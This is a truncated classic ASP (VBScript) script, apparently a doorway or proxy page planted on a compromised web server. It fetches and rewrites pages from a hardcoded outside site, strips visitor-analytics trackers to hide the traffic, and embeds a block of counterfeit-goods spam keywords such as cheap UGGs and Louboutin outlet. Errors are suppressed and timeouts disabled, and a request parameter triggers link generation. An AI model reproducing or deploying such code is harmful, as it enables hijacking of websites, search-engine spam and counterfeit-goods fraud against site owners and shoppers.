%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<%
server.ScriptTimeout=9999999
On Error Resume next
action=request("action")
replacestr=request("replacestr")
If action="createlinks" and replacestr<>"" Then
Response.Write CreateLink()
Response.End
End If
queryStr=Trim(Request.QueryString)
siteUrl="http://www.wildgamenotes.com"
jsUrl=""
previousUrl="
christian louboutin outlet online north face cyber Monday cheap uggs cyber Monday tnf cyber Monday cyber Monday michael kors cyber Monday uggs north face cyber Monday cyber Monday michael kors christian louboutin outlet online michael kors cyber Monday cyber Monday louis vuitton cyber Monday louis vuitton louboutin outlet online discount louis vuitton michael kors cyber Monday cheap canada goose cyber Monday cyber Monday canada goose uggs cyber Monday cyber Monday michael kors cyber Monday louboutin outlet "
locationUrl=GetLocationURL()
sourceBody=GetResStr(siteUrl&"/"&queryStr)
sourceBody=replace(sourceBody,"'","""",1,-1,1)
sourceBody=replace(sourceBody,""""&"/",""""&siteUrl&"/",1,-1,1)
sourceBody=replace(sourceBody,"../../../","../",1,-1,1)
sourceBody=replace(sourceBody,"../../","../",1,-1,1)
sourceBody=replace(sourceBody,"../",siteUrl&"/",1,-1,1)
sourceBody=replace(sourceBody,""""&"includes/",""""&siteUrl&"/includes/",1,-1,1)
sourceBody=replace(sourceBody,""""&"images/",""""&siteUrl&"/images/",1,-1,1)
sourceBody=replace(sourceBody,""""&"js/",""""&siteUrl&"/js/",1,-1,1)
sourceBody=replace(sourceBody,""""&"products/",""""&siteUrl&"/products/",1,-1,1)
sourceBody=RegexReplace(sourceBody,"(.*?) ","")
sourceBody=RegexReplace(sourceBody,"http://js.users.51.la/(.*?).js","")
sourceBody=replace(sourceBody,"cnzz.com/z_stat.php","",1,-1,1)
sourceBody=replace(sourceBody,"google-analytics.com/ga.js","",1,-1,1)
sourceBody=replace(sourceBody,"